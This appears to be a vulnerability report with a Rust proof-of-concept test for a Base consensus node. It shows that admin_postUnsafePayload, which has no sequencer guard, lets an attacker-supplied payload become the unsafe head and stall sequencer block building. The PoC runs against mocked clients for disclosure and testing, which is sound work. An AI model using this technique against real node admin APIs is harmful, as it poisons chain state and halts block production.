Was this helpful?
/// RPC listening address.
#[arg(long = "rpc.addr", default_value = "0.0.0.0", env = "BASE_NODE_RPC_ADDR")]
pub listen_addr: IpAddr,
/// RPC listening port.
#[arg(long = "port", alias = "rpc.port", default_value = "9545", env = "BASE_NODE_RPC_PORT")]
pub listen_port: u16,
/// Enable the admin API.
#[arg(long = "rpc.enable-admin", env = "BASE_NODE_RPC_ENABLE_ADMIN")]
pub enable_admin: bool,Some(RpcBuilder {
no_restart: args.no_restart,
socket: SocketAddr::new(args.listen_addr, args.listen_port),
enable_admin: args.enable_admin,
admin_persistence: args.admin_persistence,
ws_enabled: args.ws_enabled,
dev_enabled: args.dev_enabled,
http_timeout: Duration::from_secs(args.http_timeout_secs),
max_concurrent_requests: args.max_concurrent_requests,
})pub struct RpcBuilder {
/// Prevent the rpc server from being restarted.
pub no_restart: bool,
/// The RPC socket address.
pub socket: SocketAddr,
/// Enable the admin API.
pub enable_admin: bool,
/// File path used to persist state changes made via the admin API so they persist across
/// restarts.
pub admin_persistence: Option<PathBuf>,crate::service::spawn_and_wait!(
cancellation,
actors = [
rpc.map(|r| (
r,
RpcContext {
cancellation: cancellation.clone(),
p2p_network: Some(network_rpc),
network_admin: Some(net_admin_rpc),
l1_watcher_queries: l1_query_tx,
}
)),// Build the admin rpc module.
if let Some(network_admin) = network_admin {
modules
.merge(AdminRpc::new(self.sequencer_admin_rpc_client, network_admin).into_rpc())?;
}async fn admin_post_unsafe_payload(
&self,
payload: BaseExecutionPayloadEnvelope,
) -> RpcResult<()> {
// Note: intentionally no sequencer guard here. Posting an unsafe payload is a P2P/gossip
// operation that is valid on both sequencer and validator nodes.
Metrics::rpc_calls("admin_postUnsafePayload").increment(1.0);
self.network_sender
.send(NetworkAdminQuery::PostUnsafePayload { payload })
.await
.map_err(|_| ErrorObject::from(ErrorCode::InternalError))
}Some(NetworkAdminQuery::PostUnsafePayload { payload }) = self.admin_rpc.recv(), if !self.admin_rpc.is_closed() => {
debug!(target: "node::p2p", "Forwarding unsafe payload from admin api to engine");
if self.engine_client.send_unsafe_block(payload).await.is_err() {
warn!(target: "node::p2p", "Failed to forward admin api unsafe block to engine");
}
}async fn send_unsafe_block(
&self,
block: BaseExecutionPayloadEnvelope,
) -> EngineClientResult<()> {
trace!(target: "network", ?block, "Sending unsafe block to engine.");
Ok(self
.engine_actor_request_tx
.send(EngineActorRequest::ProcessUnsafeL2BlockRequest(Box::new(block)))
.await
.map_err(|_| EngineClientError::RequestError("request channel closed.".to_string()))?)
}EngineActorRequest::ProcessUnsafeL2BlockRequest(envelope) => {
send_engine_processing_request(EngineProcessingRequest::ProcessUnsafeL2Block(envelope)).await?;
}EngineProcessingRequest::ProcessUnsafeL2Block(envelope) => {
self.log_follower_upgrade_activation(&envelope);
let task = EngineTask::Insert(Box::new(InsertTask::new(
Arc::clone(&self.client),
Arc::clone(&self.rollup),
*envelope,
false, /* The payload is not derived in this case. This is an unsafe
* block. */
)));
self.engine.enqueue(task);
}if !self.check_new_payload_status(&response.status) {
return Err(InsertTaskError::UnexpectedPayloadStatus(response.status));
}
let insert_duration = insert_time_start.elapsed();
let new_unsafe_ref =
L2BlockInfo::from_block_and_genesis(&block, &self.rollup_config.genesis)
.map_err(InsertTaskError::L2BlockInfoConstruction)?;
// Send a FCU to canonicalize the imported block.
SynchronizeTask::new(
Arc::clone(&self.client),
Arc::clone(&self.rollup_config),
EngineSyncStateUpdate {
unsafe_head: Some(new_unsafe_ref),
local_safe_head: self.is_payload_safe.then_some(new_unsafe_ref),
safe_head: self.is_payload_safe.then_some(new_unsafe_ref),
..Default::default()
},
)
.execute(state)
.await?;let confirmed =
self.check_forkchoice_updated_status(state, &valid_response.payload_status.status)?;
// Only apply the sync-state update when the EL confirmed the forkchoice
// (`Valid`). When the EL returns `Syncing` the block is merely stored —
// advancing `sync_state` here would move `unsafe_head` beyond what the EL
// can serve, creating a gap that breaks derivation consolidation.
if confirmed {
state.sync_state = new_sync_state;
}+ mod admin_unsafe_payload_confirmation_failure;cargo test -p base-consensus-node --test integration admin_unsafe_payload_confirmation_failure -- --nocapturecargo test -p base-consensus-node --test integration admin_unsafe_payload_confirmation_failure -- --nocapture
Finished `test` profile [unoptimized + debuginfo] target(s) in 0.92s
Running tests/integration.rs (target/debug/deps/integration-07028da320a49e08)
running 2 tests
test actors::admin_unsafe_payload_confirmation_failure::admin_posted_payload_can_become_unsafe_head_when_el_returns_valid ... ok
test actors::admin_unsafe_payload_confirmation_failure::admin_payload_causes_sequencer_confirmation_failure_on_inconsistent_head ... ok
test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 8 filtered out; finished in 0.02s//! PoC: admin-posted unsafe payload can drive `InsertTask` unsafe-head adoption.
//!
//! It proves the concrete impact after
//! `admin_postUnsafePayload` forwards the payload: when the execution layer returns
//! `Valid`, the production `InsertTask` canonicalizes the attacker-supplied payload
//! and updates the node's unsafe head.
use std::sync::{
Arc,
atomic::{AtomicUsize, Ordering},
};
use alloy_eips::BlockNumHash;
use alloy_primitives::{B256, Bytes, Sealed, hex};
use alloy_rpc_types_engine::{ForkchoiceUpdated, PayloadId, PayloadStatus, PayloadStatusEnum};
use async_trait::async_trait;
use base_common_consensus::{BaseBlock, BaseTxEnvelope, TxDeposit};
use base_common_rpc_types_engine::{
BaseExecutionPayload, BaseExecutionPayloadEnvelope, BasePayloadAttributes,
};
use base_consensus_derive::{AttributesBuilder, PipelineResult};
use base_consensus_engine::{
EngineTaskExt, InsertTask,
test_utils::{TestEngineStateBuilder, test_block_info, test_engine_client_builder},
};
use base_consensus_genesis::{ChainGenesis, RollupConfig, SystemConfig};
use base_consensus_node::{
EngineClientResult, L1OriginSelectorError, OriginSelector, PayloadBuilder, RecoveryModeGuard,
SequencerEngineClient,
};
use base_consensus_rpc::{
AdminApiServer, AdminRpc, NetworkAdminQuery, SequencerAdminAPIClient, SequencerAdminAPIError,
};
use base_protocol::{AttributesWithParent, BlockInfo, L2BlockInfo};
use tokio::sync::mpsc;
const RAW_BEDROCK_INFO_TX: &[u8] = &hex!(
"015d8eb9000000000000000000000000000000000000000000000000000000000117c4eb0000000000000000000000000000000000000000000000000000000065280377000000000000000000000000000000000000000000000000000000026d05d953392012032675be9f94aae5ab442de73c5f4fb1bf30fa7dd0d2442239899a40fc00000000000000000000000000000000000000000000000000000000000000040000000000000000000000006887246668a3b87f54deb3b94ba47a6f63f3298500000000000000000000000000000000000000000000000000000000000000bc00000000000000000000000000000000000000000000000000000000000a6fe0"
);
#[derive(Debug)]
struct NoSequencerClient;
#[async_trait]
impl SequencerAdminAPIClient for NoSequencerClient {
async fn is_sequencer_active(&self) -> Result<bool, SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn is_conductor_enabled(&self) -> Result<bool, SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn is_recovery_mode(&self) -> Result<bool, SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn start_sequencer(&self, _: B256) -> Result<(), SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn stop_sequencer(&self) -> Result<B256, SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn override_leader(&self) -> Result<(), SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn set_recovery_mode(&self, _: bool) -> Result<(), SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
async fn reset_derivation_pipeline(&self) -> Result<(), SequencerAdminAPIError> {
unreachable!("postUnsafePayload must not require a sequencer client")
}
}
#[derive(Debug)]
struct RecordingSequencerEngineClient {
unsafe_head: L2BlockInfo,
reset_count: AtomicUsize,
start_build_count: AtomicUsize,
}
impl RecordingSequencerEngineClient {
fn new(unsafe_head: L2BlockInfo) -> Self {
Self {
unsafe_head,
reset_count: AtomicUsize::new(0),
start_build_count: AtomicUsize::new(0),
}
}
fn reset_count(&self) -> usize {
self.reset_count.load(Ordering::SeqCst)
}
fn start_build_count(&self) -> usize {
self.start_build_count.load(Ordering::SeqCst)
}
}
#[async_trait]
impl SequencerEngineClient for RecordingSequencerEngineClient {
async fn reset_engine_forkchoice(&self) -> EngineClientResult<()> {
self.reset_count.fetch_add(1, Ordering::SeqCst);
Ok(())
}
async fn start_build_block(&self, _: AttributesWithParent) -> EngineClientResult<PayloadId> {
self.start_build_count.fetch_add(1, Ordering::SeqCst);
Ok(PayloadId::default())
}
async fn get_sealed_payload(
&self,
_: PayloadId,
_: AttributesWithParent,
) -> EngineClientResult<BaseExecutionPayloadEnvelope> {
unreachable!("sequencer must not reach sealing when L1 origin is inconsistent")
}
async fn insert_unsafe_payload(
&self,
_: BaseExecutionPayloadEnvelope,
) -> EngineClientResult<()> {
unreachable!("sequencer must not insert a payload when build never starts")
}
async fn get_unsafe_head(&self) -> EngineClientResult<L2BlockInfo> {
Ok(self.unsafe_head)
}
}
#[derive(Debug)]
struct StaticConflictingOriginSelector {
expected_l1_hash: B256,
selected_origin: BlockInfo,
}
#[async_trait]
impl OriginSelector for StaticConflictingOriginSelector {
async fn next_l1_origin(
&mut self,
unsafe_head: L2BlockInfo,
_: bool,
) -> Result<BlockInfo, L1OriginSelectorError> {
assert_eq!(unsafe_head.l1_origin.hash, self.expected_l1_hash);
Ok(self.selected_origin)
}
}
#[derive(Debug)]
struct UnreachableAttributesBuilder;
#[async_trait]
impl AttributesBuilder for UnreachableAttributesBuilder {
async fn prepare_payload_attributes(
&mut self,
_: L2BlockInfo,
_: BlockNumHash,
) -> PipelineResult<BasePayloadAttributes> {
unreachable!("attributes must not be built when L1 origin validation fails first")
}
}
fn valid_status() -> PayloadStatus {
PayloadStatus { status: PayloadStatusEnum::Valid, latest_valid_hash: None }
}
fn valid_fcu() -> ForkchoiceUpdated {
ForkchoiceUpdated { payload_status: valid_status(), payload_id: None }
}
fn attacker_payload_and_rollup() -> (BaseExecutionPayloadEnvelope, RollupConfig, L2BlockInfo) {
let block = BaseBlock {
header: alloy_consensus::Header {
number: 3,
parent_hash: B256::from([0x22; 32]),
timestamp: 1,
gas_limit: 30_000_000,
base_fee_per_gas: Some(1),
..Default::default()
},
body: alloy_consensus::BlockBody {
transactions: vec![BaseTxEnvelope::Deposit(Sealed::new(TxDeposit {
input: Bytes::copy_from_slice(RAW_BEDROCK_INFO_TX),
..Default::default()
}))],
..Default::default()
},
};
let (execution_payload, _) = BaseExecutionPayload::from_block_slow(&block);
let rollup = RollupConfig {
genesis: ChainGenesis {
l1: BlockNumHash { number: 2, hash: B256::from([4; 32]) },
l2: BlockNumHash { number: 1, hash: B256::from([5; 32]) },
system_config: Some(SystemConfig::default()),
..Default::default()
},
..Default::default()
};
let envelope =
BaseExecutionPayloadEnvelope { parent_beacon_block_root: None, execution_payload };
let roundtrip_block: BaseBlock =
envelope.execution_payload.clone().try_into_block().expect("payload roundtrip");
let expected_head = L2BlockInfo::from_block_and_genesis(&roundtrip_block, &rollup.genesis)
.expect("valid L2 block info");
(envelope, rollup, expected_head)
}
#[tokio::test]
async fn admin_posted_payload_can_become_unsafe_head_when_el_returns_valid() {
let (payload, rollup, expected_head) = attacker_payload_and_rollup();
let (admin_tx, mut admin_rx) = mpsc::channel::<NetworkAdminQuery>(8);
let admin: AdminRpc<NoSequencerClient> = AdminRpc::new(None, admin_tx);
admin
.admin_post_unsafe_payload(payload)
.await
.expect("admin_postUnsafePayload accepts attacker payload");
let received = match admin_rx.recv().await.expect("admin query forwarded") {
NetworkAdminQuery::PostUnsafePayload { payload } => payload,
};
let client = Arc::new(
test_engine_client_builder()
.with_new_payload_v1_response(valid_status())
.with_fork_choice_updated_v3_response(valid_fcu())
.build(),
);
let mut state = TestEngineStateBuilder::new()
.with_unsafe_head(test_block_info(2))
.with_safe_head(test_block_info(2))
.with_finalized_head(test_block_info(1))
.build();
let before = state.sync_state.unsafe_head();
let task = InsertTask::new(Arc::clone(&client), Arc::new(rollup), received, false);
task.execute(&mut state).await.expect("valid attacker payload is inserted");
let after = state.sync_state.unsafe_head();
assert_eq!(after, expected_head, "attacker payload became the node unsafe head");
assert_ne!(after.block_info.hash, before.block_info.hash, "unsafe head hash changed");
assert!(
after.block_info.number > before.block_info.number,
"unsafe head advanced from attacker-controlled admin payload"
);
}
#[tokio::test]
async fn admin_payload_causes_sequencer_confirmation_failure_on_inconsistent_head() {
const ATTEMPTS: usize = 3;
let (payload, rollup, expected_head) = attacker_payload_and_rollup();
let rollup_for_insert = Arc::new(rollup.clone());
let (admin_tx, mut admin_rx) = mpsc::channel::<NetworkAdminQuery>(8);
let admin: AdminRpc<NoSequencerClient> = AdminRpc::new(None, admin_tx);
admin
.admin_post_unsafe_payload(payload)
.await
.expect("admin_postUnsafePayload accepts attacker payload");
let received = match admin_rx.recv().await.expect("admin query forwarded") {
NetworkAdminQuery::PostUnsafePayload { payload } => payload,
};
let client = Arc::new(
test_engine_client_builder()
.with_new_payload_v1_response(valid_status())
.with_fork_choice_updated_v3_response(valid_fcu())
.build(),
);
let mut state = TestEngineStateBuilder::new()
.with_unsafe_head(test_block_info(2))
.with_safe_head(test_block_info(2))
.with_finalized_head(test_block_info(1))
.build();
let task = InsertTask::new(Arc::clone(&client), rollup_for_insert, received, false);
task.execute(&mut state).await.expect("valid attacker payload is inserted");
let attacker_head = state.sync_state.unsafe_head();
assert_eq!(attacker_head, expected_head, "admin payload became unsafe head first");
let conflicting_l1_origin = BlockInfo {
number: attacker_head.l1_origin.number + 1,
hash: B256::from([0xbb; 32]),
parent_hash: B256::from([0xcc; 32]),
timestamp: attacker_head.block_info.timestamp + 12,
};
assert_ne!(attacker_head.l1_origin.hash, conflicting_l1_origin.hash);
assert_ne!(attacker_head.l1_origin.hash, conflicting_l1_origin.parent_hash);
let sequencer_engine = Arc::new(RecordingSequencerEngineClient::new(attacker_head));
let mut builder = PayloadBuilder {
attributes_builder: UnreachableAttributesBuilder,
engine_client: Arc::clone(&sequencer_engine),
origin_selector: StaticConflictingOriginSelector {
expected_l1_hash: attacker_head.l1_origin.hash,
selected_origin: conflicting_l1_origin,
},
recovery_mode: RecoveryModeGuard::new(false),
rollup_config: Arc::new(rollup),
};
for attempt in 1..=ATTEMPTS {
let result = builder.build().await.expect("inconsistent head is handled as retryable");
assert!(result.is_none(), "attempt {attempt} must not produce a payload handle");
}
assert_eq!(
sequencer_engine.reset_count(),
ATTEMPTS,
"each poisoned unsafe-head attempt resets forkchoice"
);
assert_eq!(
sequencer_engine.start_build_count(),
0,
"sequencer must not start a new block while the injected head is inconsistent"
);
}